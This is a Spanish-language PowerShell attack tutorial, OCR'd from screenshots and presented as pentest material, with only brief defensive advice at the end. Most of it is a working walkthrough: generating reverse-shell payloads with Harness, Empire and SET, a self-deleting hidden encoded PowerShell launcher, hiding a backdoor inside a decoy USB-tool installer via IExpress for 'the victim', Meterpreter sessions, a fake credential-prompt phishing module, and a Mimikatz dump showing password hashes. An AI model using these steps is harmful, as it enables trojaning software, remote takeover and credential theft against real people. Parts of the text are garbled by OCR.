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l. Introduccion.

Windows Powershell es un interfaz de lineas de comandos que nos permite
realizar diversas tareas para la gestion de nuestro sistema operativo, tareas
repetitivas a nivel local o a nivel de red.

Acepta y devuelve objetos de .NET, gran cantidad de comandos integrados, se
presenta el concepto de cmdlet, este comando nos permite realizar funciones.

II. ¢Por qué Windows Porwershell?

Para los consultores de seguridad a la hora de realizar un servicio de
penetration test es muy importante las herramientas y en este caso Windows
ofrece un framework por debajo para realizar un monton de acciones. Me
refiero a lo siguiente:

e Facil acceso a conexiones de red

e Capacidad de montar binarios maliciosos dinamicamente en memoria
e Acceso directo a la APl de Win32

e Simple interfaz WMI

e Un entorno de scripting de gran alcance

e Facil acceso a las bibliotecas de criptografia

e Efc...



Ill.  Nuestro mi primer script en Powershell

Teniendo esto claro, comenzamos a jugar con powershell, abriremos un terminal ISE:

Archive Editar Ver Depurar Ayuda

NEHEE LB X 9~ E % | B8 |[Bmo

[ Sin titulolpsl X |
| |
1

PS Ch\Users\Stuxnet:>
=

Lin.1 Col. 1 I} 2

Figura 1. Powershell ISE.

Empezaremos creando una funcién simple, pero que nos ayudara a entender el
funcionamiento de powershell:

Nombramos a la funcién hola, que al ejecutar y llamar nos mostrara el mensaje
hola mundo.

Archive Editar Ver Depurar Ayuds

MEeEs B | 9| p E = 8 Boo

| Sin titulolpsic X | ]
i Function hola{
2 Echo "Funcion en Powershell™

3 i

P5S C:\Users‘Stuxnet> Function hola{
Echo "Funcion en Powershell™

¥

PS C:\Users‘Stuxnet> hola
Funcion en Powershell

PS C\Users\Stuxnet> @®
= hola

Lin. 1 Col. 5 T

Figura 2. Funcion en Powershell.



Ahora procederemos hacer un simple script que haga un port scanning usando el
cmdlet TCPClient a las puertos mas comunes.

43| Administrador: Windows PowerShell ISE (x36) i X — A o= - - - | Ep— = L
Archivo Editar Ver Depurar Ayuda
NEldédsax| 9 M| w | B([Eoo

Sin titulolps1* X
Function portscann

(57 in 21,22,80,443,445,3306)

© = new-object System,Net,Sockets.TCPCTient("192.168,1.102", $i);

SNULL)

12 echo "192.168.1.102:87 - Closed”;

16 echo "192.168.1.102:81 - Open”;
$socket = SNULL;

PS C:\Users\Stuxnet> portscanner
192.168.1.102:21 - Closel
192.168.1.102:22 - Closel
192.168.1.102:80 - Close
192.168.1.102:443 - Closed
192.168.1.102:445 - Open

192.168.1.102:3306 - Closed

[
I}

Figura 3. Resultado de la ejecucién del Script

V. Automatizando ataques con Frameworks
. Harnnes

Harness fue presentada en la DEFCON23 esta tool nos permite generar payload
de acceso remoto con la capacidad de proporcionar una interfaz de control remoto

de powershell.
Clonamos el proyecto desde Github

git clone https://github.com/rich5/Harness

Para la instalacién de la herramienta ejecutaremos los siguientes comandos.

cd Harness
chmod 755 python_install.sh
Ipython_install.sh

wget http://python.org/ftp/python/3.4.3/Python-3.4.3.tar.xz
tar xf Python-3.4.3.tar.xz

cd Python-3.4.3
Jconfigure --prefix=/usr/local --enable-shared LDFLAGS="-WI,-rpath /usr/local/lib"

make && make altinstall


https://github.com/rich5/Harness

root@stuxnet: ~/tools/Harness - =
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frm -r cal

usr/bin/install

ac T pip b
:~/tools/Har /Python-3.4.3#
:~/tools/Harness# 1<

gl -PYy
L E Python-3.4.3.tar.xz
Python-3.4.3 python install.sh
:~/topls/Harn935:VD‘

Figura 4. Instalacion de la herramienta

También se ha corregido el bug con el autocompletado, para eso ejecuta los
siguientes comandos

apt-get install libssl-dev openssl
apt-get install python3-pip
apt-get install libcurses5-dev
pip3 install readline
python_install.sh

Ejecutamos harness de la siguiente manera

python3.4 harness.py



root@stuxnet: ~/tools/Harness @ @ o
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:~/tools/Harness# python3.4 harness.p

Figura 5. Menu Principal de la Herramienta,

Ahora listaremos los médulos de la tool de la siguiente manera

show modules

root@stuxnet: ~/tools/Harness e ® 0
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Figura 6. Palods de herramienta.




En este caso usare el ultimo payload ya que el windows que atacare es x86,
para eso lo cargaremos de la siguiente manera.

load payloads/TCP/x86/exe/Harness_x86
Para ver sus opciones

show options

igura?. Opciohes del Payload

Ahora procederemos a configurarlo, IP = su ip y PORT el puerto que usaran en
mi caso usare el 4444

Figura 8. Payload configurado

Ahora ya configurado todo ejecutamos el comando run y nos preguntara un
nombre en mi caso undercOde.exe, se guardara en la carpeta de harness.

Src undercOde.exe

Figura 9. Payload Generado.



Ahora ejecutamos el comando back y procederemos a configurar el handler

Figura 10. handler
load handlers/PSHandler
Ahora lo procederemos a configurarlo
IP=SulP

PORT = su puerto
SSL = false

Figura 11. Handler configurado

Ahora si ejecutamos run y tendremos en escucha nuestro handler, ahora es
hora de hacer un poco de ingenieria social y les mostrare un pequefio método.



Figura 12. Handler a la escucha

V. Ocultando nuestros Payloads con IExpress

Esta herramienta es nativa desde Windows XP la cual nos permite crear

archivos comprimidos y auto instaladores.

Para esto utilizaremos cualquier aplicacion que deseemos, en mi caso utilizare
YUMI una simple tool para crear usb booteables y el backdoor generado.

_] IExpress Wizard

self4nstalling package.

Welcome to IExpress 2.0

This wizard will help you create a self-extracting /

First, you need to create a Self Extraction Directive (SED)
file to store information about your package. if you have

already done this, select Open existing one; otherwise,
select Create New Self Extraction Directive file.

% Create new Seff Extraction Directive file.
" Open existing Seff Extraction Directive file:

Figura 13. IExpress



Y ahora el tipico siguiente

Ij IExpress Wizard @
Package purpose

Select final result of the package.

{* BExract files and run an installation command

" Bdract files only

™ Create compressed files only (ActiveX Installs)

Description
Files will be expanded to a temporary folder. The files
will then be used by the specified installation
program.

< Atras I Siguiente > I Cancelar

Figura 14. Opciones de IExpress

En esta parte nos pedira agregar las dos aplicaciones que deseamos

Ij IExpress Wizard @
Packaged files

Create a list of files that you want in your compressed
package.

Filename | Path
YUMI-2015... ChUsers‘root'\Desktop®
undercOde exe  C:\Users‘root'Desktop®,

Add I Femove |

< Atras | Siguierrte:>| Cancelar |

Figura 15. Configuracion de nuestro auto-instalador

Y ahora siguiente y configuramos de la siguiente manera para que el backdoor
se ejecute en segundo plano



I j IExpress Wizard @
Install Program to L.aunch

Select the programs ar |MF files to lzunch from the
package. A custom command can also be created below.

Install YUMI-2.0.1.9.exe hd
Program _I
The below comand will be run after the install has
completed.

Post Instal nderclde exe hd
Command

< Mtrés I Siguierrte>l Cancelar |

17. Agregando el backdoor y el programa sefiuelo.

Luego en siguiente y dejamos esto asi

j IExpress Wizard @
Configure restart

Select how you want the system to restart at the end of
your installation program.

& No restart
™ Always restart
" Only restart f needed

E M T

[T Dot prampt user before restarting

—

< Aras I Siguieﬂte;»l Cancelar |
-

Figura 18. Opcidén de no reiniciar equipo luego de la instalacion

Y le ahora siguiente nos preguntara donde queremos guardar y luego terminar
y se genera nuestro auto-instalador para enviarselo a la victima



Figura 19. Instalador enrad por IExpress.

Ahora cuando nuestra victima ejecute el programa se abrira la aplicaciéon de YUMI
y por debajo el backdoor asi dando nuestra sesién de powershell.

[!] Session 1 added: (['1592.168.1.102', 49165) <--= ('192.168.1.100"', 4444)

Figura 20. Sesion remota abierta.

Ahora ejecutamos para ver nuestras sesiones

show sessions

Figura 21. Sesiones Activas.

Para interactuar con nuestra sesion lo hacemos de la siguiente forma.

session 1




VI. Powershell Empire

Empire tiene la capacidad de ejecutar scripts PowerShell sin necesidad
powershell.exe, los médulos de post-explotacion de despliegue rapido que van
desde los registradores de claves a Mimikatz entre otras, esta maravillosa
herramienta fue presentada en BSIDESLV del afio 2015.

La herramienta se encuentra en github solo basta ejecutar los siguientes
comandos para su instalacion.

git clone https://github.com/PowerShellEmpire/Empire.git
cd Empire
Jsetup/install.sh

Al hace esto empire automéaticamente descargara los complementos necesarios
para poder ejecutarse, al instalar los complementos procedemos a ejecutar la
herramienta de la siguiente manera.

Jempire

root@stuxnet: ~/tools/Empire e ® 0
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180 modules currently loaded
0 listeners currently active

0 agents currently active

(Empire) > I

Figura 23. Powershell Empire



root@stuxnet: ~/tools/Empire @ @0
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(Empire) > listeners

(Empire: listeners) > info

Listener Options:
Name Required Value Description

KillDate Date for the listener to exit (MM/dd/yyyy).
Name Listener name.
DefaultlLostLimit 60 Number of missed checkins before exiting
StagingKey Ju:=$rkKRS-NJ%;4YHzAg" | v\?&Ebowm Staging key for initial agent negotiation.
Type native Listener type (native, pivot, hop, foreign, meter
i

RedirectTarget Listener target to redirect to for pivot/hop.
DefaultDelay 5 Agent delay/reach back interval (in seconds).
WorkingHours Hours for the agent to operate (09:00-17:00).
Host http://172.16.106.1:8080 Hostname/IP for staging.
CertPath Certificate path for https listeners.
Defaultlitter 0.0 Jitter in agent reachback interval (0.0-1.0).
DefaultProfile /admin/get.php,/news.asp,/login/ Default communication profile for the agent.

process.jsp|Mozilla/5.0 (Windows

NT 6.1; WOW64; Trident/7.0;

rv:11.0) like Gecko

Figura 24. Opciones de Listeners

Ahora vamos a configurar nuestro servidor de infeccion, para eso iremos a la
seccion "listeners". Ejecutamos los siguientes comandos

(Empire) > listeners

(Empire: listeners) > info

(Empire: listeners) > set Name esetPoC

(Empire: listeners) > set Host 192.168.1.100 - IP Atacante.
(Empire: listeners) > set Port 8080 - Puerto a la escucha.
(Empire: listeners) > execute

(Empire: listeners) > list

root@stuxnet: ~/tools/Empire [-JNC) 0‘
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Host http://172.16.106.1:8080 Hostname/IP for staging.
CertPath Certificate path for https listeners
Defaultlitter 0.0 Jitter in agent reachback interval (0.0-1.0).
DefaultProfile /admin/get.php,/news.asp,/login/ Default communication profile for the agent.
process.jsp|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.6;
rv:11.0) like Gecko
True 8080 Port for the listener

set Name esetPoC
set Host http://192.168.1.100
set Port 8080

Delay/Jitter KillDate Redirect Target

esetPoC http://192.168.1.100:8080 native 5/0.0

: listeners

Figura 25. Ejecucion de comandos



Ahora vamos a generar un ejecutable pero en extension .bat el cual tendra nuestro
codigo de powershell.

(Empire: listeners) > usestager launcher_bat esetPoC - Nombre de nuesto listener

(Empire: listeners) > execute
Al hacer esto nos devolvera lo siguiente.
[*] Stager output written out to: /tmp/launcher.bat

El archivo .bat ha sido generado en la carpeta tmp, haciendo un nano del fichero
para ver su codigo fuente.

root@stuxnet: /tmp (IO <]
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root@stuxnet: ~/tools/Empire x root@stuxnet: ~/tools/Empire x root@stuxnet: /tmp x @ -

GNU nano 2.7.0

Fichero: launcher.bat

[Gecho of f
start /b powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHKAcwBUAGUATQAUAE4AZQBUAC4AUWBLAHIAVgBIAEMAZQBQAEBAEQB$)
start /b "" cmd /c del "%~f0"&exit /b

[ 3 lineas leidas ]
Q8 Ver ayuda B Guardar Bl Buscar g Cortar txt | Justificar [ Posicion B Pég. ant.
Salir i Leer fich. @Y Reemplazar |l Pegar txt Ml Ortografia gl Ir a linea @ Pag. sig.

P @ N

Figura 26. Cdadigo fuente del archivo .bat

Ahora procedemos a compilar la herramienta para eso usaré un programa llamado
bat to exe en linea de la siguiente pagina - http://www.f2ko.de/es/ob2e.php.
Teniendo todo esto configurado es momento de hacer Ingenieria social a nuestra
victima para que ejecute el archivo .exe. Para eso usare nuevamente el método
visto en el capitulo V. ocultandolo y ejecutandolo en segundo plano con IExpress.

[+] Initial agent FY3FYYGSHMREFLGA from 192.168.1.102 now active

Figura 27. Activacion de nuestro agent en el equipo victima

(Empire) > agents
[*] Active agents:
Internal IP Machine Name Username Process Delay Last Seen

FY3FYYGSHMREFLGA  192.168.1.102  STUXNET STUXNET\stuxnet powershell/7964 5/0.0 2016-11-07 09:35:58

(Empire: agents) > i

Figura 28. Agents activos


http://www.f2ko.de/es/ob2e.php

Para interactuar con nuestro agents lo hacemos de la siguiente manera.
(Empire: agents) > interact FY3FYYGSHMREFLGA - Nombre del agents

Ahora ejecutamos el comando info.

root@stuxnet: ~/tools/Empire e ® 9
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iEmbire: Y ) > info
[*] Agent info:

4

None

0.0

None
192.168.1.162

1mEj 'yvtsH4qR{fp_ <IB&)K=C"|2\W$a

None

2016-11-07 09:33:18

STUXNET

5
/admin/get.php,/news.asp,/login/process.jsp
STUXNET\stuxnet

None

powershell
http://192.168.1.100:8080/
FY3FYYGSHMREFLGA

7964

Microsoft Windows 8.1 Pro
60

1

FY3FYYGSHMREFLGA
192.168.1.1602

Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
2016-11-07 09:43:22
0

Figura 29.Ejecucion del comando info.

Empire es una gran herramienta que nos facilita la vida a la hora de generar
ataques con powershell.



VII. Utilizando Setoolkit para Atagues con Powershell

SET es una completisima navaja suiza dedicada a la ingenieria social, la cual nos
permite automatizar tareas que van desde el de envio de SMS (mensajes de texto)
falsos, hasta shells inversas con powershell entre muchas caracteristicas mas.

SET por defecto ya esté en kali linux solo basta con ejecutar en consola el

comando setoolkit.

root@stuxnet: ~ o0

Archivo Editar Ver Buscar Terminal Ayuda

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com
https://github.com/tr ec/ptf
Select from the menu:

1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)

Figura 30. Menu Setoolkit

Para utilizar los vectores de ataques de setoolkit elegimos la opcion 1.

root@stuxnet: ~ e ® 0
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Visit: https://www.trustedsec.com

{ e y TO update sing the PenTester
t https://github.com/trustedsec/ptf

Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors
Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack
Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector

10) SMS Spoofing Attack Vector

11) Third Party Modules

99) Return back to the main menu.

> 1l

Figura 31. Vectores de Ataque de setookit

Como podemos observar en la figura 31 los diferentes vectores de ataque que nos
ofrece setoolkit, el que vamos a usar es el nimero 9, Vectores de atague

Powershell.



root@stuxnet: ~ e ® 0
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7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

) Powershell Attack Vectors
)
)

)
10
11

SMS Spoofing Attack Vector
Third Party Modules

99) Return back to the main menu.
>9

he Powershell Attack Vector module allows you to create PowerShell specific att
acks. These attacks will allow you to use PowerShell which is available by defau
Lt in all operating systems Windows Vista and above. PowerShell provides a fruit
ful landscape for deploying payloads and performing functions that do not get
triggered by preventative technologies.

1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell
3) Powershell Bind Shell
4) Powershell Dump SAM Database

99) Return to Main Menu

>

Figura 32. Vectores de ataque powershell en setoolkit

Vamos a utilizar el vector de ataque Powershell Alphanumeric Shellcode Injector,
asi que colocamos la opcién 1 y procedemos a modificar.

>1
Enter the IPAddress or DNS name for the reverse host: 192.168.1.100
> Enter the port for the reverse [443]:8080
[*] Prepplng the payload for delivery and injecting alphanumeric shellcode.
[*] Generating x86-based powershell injection code.
[*] Reverse HTTPS takes a few seconds to calculate. .One moment. .
No encoder or badchars specified, outputting raw payload

Payload size: 345 bytes
Final size of c file: 1473 bytes
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[*] If you want the powershell commands and attack, they are exported to /root/.
set/reports/powershell/
> Do you want to start the listener now [yes/no]: : | ]

Figura 33. Configuracion de nuestro vector de ataque.

Como podemos ver empieza a generar nuestros vectores de ataque con dicho
salto a la politica de ejecucion de scripts powershell. Al terminar de configurar nos
preguntara si queremos iniciar nuestro handler que a la hora de ejecutar el archivo
generado obtendremos nuestras sesion meterpreter. Asi que escribiremos yes



root@stuxnet: ~/.set/reports/powershell [— O <]
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root@stuxnet: ~ x root@stuxnet: ~/.set/reports/powershell x | @ =

et/reports/powershell$ cat | i

powershell -nop -window hidden -noni -e JABOAES8ATgBmAGUAWgB2ACAAPQAgACCAJAASAFIA|
MAAQADBAIAANACCAWWBEAGWABABIAGOACABVAHIAdAAOACIAaWBLAHIAbgBLAGWAMWAYACAAZABSAGWA|
LgApAFOACABIAGIAbABpAGMAIABZzAHQAY(QBOAGKAYwWAQAGUAeABOAGUACcgBUACAASQBUAHQAUABOAHTA|
IABWAGKAcgBOAHUAYQBSAEEADABSAGBAYwWAOAEKADgBOAFAAdABYACAADABWAEEAZABKAHIAZOBzZAHMA|
LAAgAHUAG(QBUAHQATABKAHCAUWBpAHOAZQASACAAdQBpAGAAdAAGAGYADABBAGWADABVAGMAYQBOAGKA|
bwBuAFQAe(BwAGUALAAgAHUAEQBUAHQATABMAGWAUABYAGBAdABTAGMAdAAPADSAWWBEAGWADABIAGOA
cABVAHIAdAAOACIAawBlAHIAbgBLAGWAMWAYACAAZABSAGWAIgApAFOACABIAGIADABPAGMATABZAHQA
YQBOAGKAYwAgAGUAeABOAGUACcgBuACAASQBUAHQAUABBAHIAIABDAHIAZQBhAHQAZQBUAGGACgBLAGEA
ZAAOAEKADgBOAFAAdABYACAADABWAFQAaABYAGUAYQBKAEEAdABOAHIAEQBiAHUAdABTAHMALAAGAHUA
a0BuAHQAIABKAHCAUWBOAGEAYWBrAFMAaQBOAGUALAAGAEKADGBBAFAAABYACAADABWAFMADABNAHLA|
dABBAGQAZABYAGUAcwBZzACWATABIAG4AdABQAHQACgAgAGWACABJAGEACgBhAGOAZQBOAGUACASACAA)
dQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAEQBVAGAARGBSAGEAZWBZACWATIABIAGAAdABQAHQACAGAGWA|
CABUAGgAcgBLAGEAZABIAGQAKQA7AFsARABSAGWASQBtAHAAbwWBYAHQAKAALAGOACWB2ZAGMACBOACAA)
ZABSAGWAIgApPAFOACAB1AGIAbDABPAGMATIABZAHQAYQBOAGKAYWAgAGUAeABOAGUACgBUACAASOBUAHQA]
UABOAHIAIABtAGUAbQBzAGUAdAACAEKADgBOAFAAdABYACAAZABLAHMAdAASACAAdQBPAGAAdAAGAHMA)
cgBjACWATIAB1AGkAbgBOACAAYwWBVAHUAbgBOACKAOWANACcAOWAKAHCATAAIACAAQQBKAGQALQBUAHKA|
cCABLACAALQBtAGUAbQBiAGUACgBEAGUAZgBpAG4AaQBOAGKADWBUACAAIAASAFTIAMAAGACOATGBhAGOA|
ZQAgACIAVWBpAGAAMWAYACIATIAAtAGAAYQBtAGUACWBWAGEAYWBLACAAVWBPAGAAMWAYAEYAdQBUAGMA|
dABpAG8AbgBzACAALQBWAGEAcWBZAHQAaABYAHUAOWBDAEIAe(BOAGUAWWBAAFOAOWBDAEIAeQBOAGUA|

BdAFOAJABBACAAPQAGADAAABMAGMALAAWAHGAZQALACWAMABAADgAMgASADAA: AAWADAALAAWAHGA)
MAAWACWAMAB4ADAAMAASADAAEAAZADAALAAWAHGAOAASACWAMAB4AGUANQASADAAAAZADEALAAWAHDA|
YwAWACWAMABAADYANAASADAAeAA4AGIALAAWAHGANQAWACWAMABAADMAMAA SADAAAA4AGIALAAWAHGA|

Figura 34. Archivo Generado por setoolkit

Ahora crearemos un archivo .bat con el contenido del archivo generado,
Unicamente cambiamos la extension .txt por .bat. Usando nuevamente la pagina
http://www.f2ko.de/es/ob2e.php crearemos nuestro ejecutable. Usando
nuevamente el método visto en el capitulo V. ocultaremos nuestra aplicacion y se
ejecutara en segundo plano, al hacerlo se creara la sesidbn merterpreter.

ST exp > |* ps: :

102; (UUID: adhmugy7) Staging Native payload...

[*] Meterpreter session 1 opened (192.168.1.100:8080 -> 192.168.1.102:49183) at
P016-11-07 12:10:50 -0600

st exploit( ) > sessions -i

Active sessions

Information Connection

meterpreter x86/win32 STUXNET\stuxnet @ STUXNET 192.168.1.100:8080 -> 19
.168.1.102:49183 (192.168.1.102)

st exploit( ) > | |

Figura 35. Sesién Meterpreter


http://www.f2ko.de/es/ob2e.php

msT explol

[*] Starting interaction with 1...

meterpreter > sysinfo

STUXNE
: Windows 8.1 (Build 9600).

: x86
System Language : es ES
Domain : WORKGROUP
Logged On Users : 2
Meterpreter ¢ x86/win32

meterpreter > |

Figura 37. Interaccion e informacion del sistema comprometido.

VIIl. Post-Explotacidon con Nishang.
Nishang es una coleccién que de scripts que nos permite realizar diversos
ataques y tareas post-exploitacion durante una auditoria de seguridad.

root@stuxnet: /usr/share/nishang e e 0
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adhak Utility

root@stuxnet: /usr/share/nishang$ I

Figura 38. Lista de script de nishang.

Para utilizar los scripts de nishang vamos a subir la carpeta de estos scritps a
nuesrto sistema comprometido con el comando de meterpreter upload.
meterpreter > upload /usr/share/nishang C:\\Users//stuxnet
[*] uploading : /usr/share/nishang/nishang.psml -> C:\Users//stuxnet\nishang.ps
ml

[*] uploaded : /usr/share/nishang/nishang.psml -> C:\Users//stuxnet\nishang.ps
ml
meterpreter > i [

Figura 39. Subiendo nishang al sistema comprometido



Para la ejecucion de los médulos de nishang es necesario cambiar la
restriccion de las politicas de ejecucion de porwershell.

Ejecutamos:
Set-ExecutionPolicy Unrestricted

La directiva de ejecucién le ayuda a protegerse de scripts en los que no confia.
Si cambia dicha directiva, podria

Exponerse a los riesgos de seguridad descritos en el tema de la Ayuda
about_Execution_Policies en

http://go.microsoft.com/fwlink/?LinkID=135170. ¢ Desea cambiar la directiva de
ejecucion?

[S] Si [N] No [U] Suspender [?] Ayuda (el valor predeterminado es "S"):
PS c:\users/stuxet/nishang>

Ahora vamos importar un médulo sencillo para hacer un phishing para robar las
credenciales del usuario.

Ejecutamos.
Import-Module \Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish

Al hacer esto y ejecutarlo al usuario le saldra lo siguiente.

Credentials are required to perform... ?

=

LAY

Please enter your user name and password.

Usuario: £ stumet »

Contrasefia: | sssssnns

—

Figura 40. Phishing

Cuando escriba sus credenciales las obtendremos en texto plano en nuestra
consola.



Tenemos otra opcidn para tener las contrasefias del sistema sin la introversion
del usuario, para eso usaremos Mimikatz esta es una gran herramienta de
post-explotacion que nos permite el volcado de contrasefias almacenadas de
acceso a recursos compartidos, unidades de red, escritorios remotos, etc.

Para ejecutar Mimikatz hacemos lo siguiente:
Import-Modules \Invoke-Mimikatz.ps1

Invoke-Mimikatz.psl

JHE#HE. mimikatz 2.1 (x86) built on Feb 21 2016 13:82:23
i S ##. YA La Vie, A L Amour”
B4 SN BE e ox o=
NS # Benjamin DELPY “gentilkiwi' ( benjaminGgentilkiwi.com )
THE v o #H http://blog.gentilkiwvi.com/minikatz (oe.eo0)
ThEdhET with 17 modules * = =/

imikatz(powershell) # sekurlsaz:logonpasswords

fluthentication Id = 0 ; 215326 C00000O000-00034%1e)
Eessi : Interactive from 1
- stuxnet
= STURHET
: STUXHET
D 2TA172016 Bi01:36 a
D S-1-5-21-1122436358- 1?81589?13 IM18016760-1001

[00000003] Primary
Username I stuxnet
Domain : STUZHET
HTLM : 1ael1721b02beb65d982afdded 7774081
* SHa1 : 1a%abfSd3cleace38le2f52aB48febbefaffé21d
[ooo10000] Bredentlal“e s
* HTLH 1ae1?91hﬂ2hch65d982afdded???hhh1
* SHat : 1aSabf5d8cleace38le2f52aBh8fet6efaffo21d
tspkg -
wdigest :
* Username : stuznet
* Domain : STUZHET
* Password = Cnull)
livessp :
kerberos : Ko
ssp
credman :

fluthentication Id = 0 ; 215122 CO0D000000-00034859)
Bessi : Interactive from 1
- stuxnet
= STUEHET
: STUXHET
2741172016 B:01:36 a.
D S-1-5-21-1122436358- 1?81589?13 IM18016760-1001

CredentialKe

8 1ae1?91bﬂEbcb65d982afdded???hhh1

: 1aSabf5d3cleace38le2f52aBibfebbefaffé21d
Primar




stuxnet

STUXHET

1ae1731b02bcb65d?82afdded? 7 74ba1
1a5abf5d8cleace380e?f52aguBfebtbefaffo2ld

stuxnet
STUXKHET
* Password Cnull)
livessp =
kerberos = (1]
ssp =
credman :

fluthentication Id

0 ; #37 C(00000000:-000003e5)
Service from

SERVICIO LOCAL

HT AUTHORITY

Cnull)
2371172016 7:5%:06 a. m.
§-1-5-19

tspkg =
wdigest :
* Username
* Domain
* Password
livessp :
kerberos ©
ssp =
credman @

0 ; 649573 (00000000 :-00010Fe5)
Interactive from

-1

Window Manager

Cnull)
2751152016 7:59:05 a. m-
$-1-5-90-1

futhentication Id

ogon Server
ogon Time
I

msu

tspkg =

wdigest

* lsername STUXHETS
* Domain WORKGROUP
#* Password Cnull)
livessp :

kerberos = (1]

ssp =

credman =

Huthentication H

Session Interactive from 1

User Hame DvM-1

Domain Window Hanager
Cnull)
2371172016 7:59:08 a. m.
§-1-5-90-1

wdigest :

* Username = STUXHETS
* Domain WORKGROUP
* Password C(null)
livessp :

kerberos : 41]

ssp

credman

0 ; 996 (00000D0D:000003eh)
Service from 0

STURHETS

WORKGROUP

Cnull)

2171172016 7:59:08 a. m.
§-1-5-20

wdigest :

* Username = STUXHETS
#* Domain : WORKGROUP
* Password : (null)
livessp :

kerberos : KD

SSp I

credman :

0 ; hééhd CODOD0D0D:0000bEZ0)
UndefinedlLogonType from 0
(null)

Cnull)

Cnull)

2371172016 7:59:03 a. m.

udigest =
livessp :
kerberos :
S5p =

credman :




Huthentication

Session

lser Hame STURHETS

Domain WORKGROUP

Logon Server Cnulll

Logon Time 23115216 7:59:03 a. m.
§-1-5-1%

tspkyg :

wdigest :

* lsername STURHETS
* Domain WORKGROUP
* Password Cnulll
livessp :

kerberos : Kl

ssp =

credman :

imikatz(powershell) # exit
Bye!

Figura 41. Resultado de la ejecucion de Mimikatz

IX. Conclusiones

Winwdows powershell es un lenguaje que nos ofrece una gran infinidad de
posibilidades a la hora de realizar nuestras auditorias de seguridad.

Todas Las Herramientas utilizadas se saltas la politica de ejecucion de
Powershell.

X. Recomendaciones

Para poder evitar ser victima de estos ataques es muy recomendado tener
nuestro antivirus actualizado, no descargar programas de fuentes
desconocidas.

No desactivar las politicas de ejecucion de scripts Powershell.

No ejecutar Scripts que no sean de fuentes no confiables.



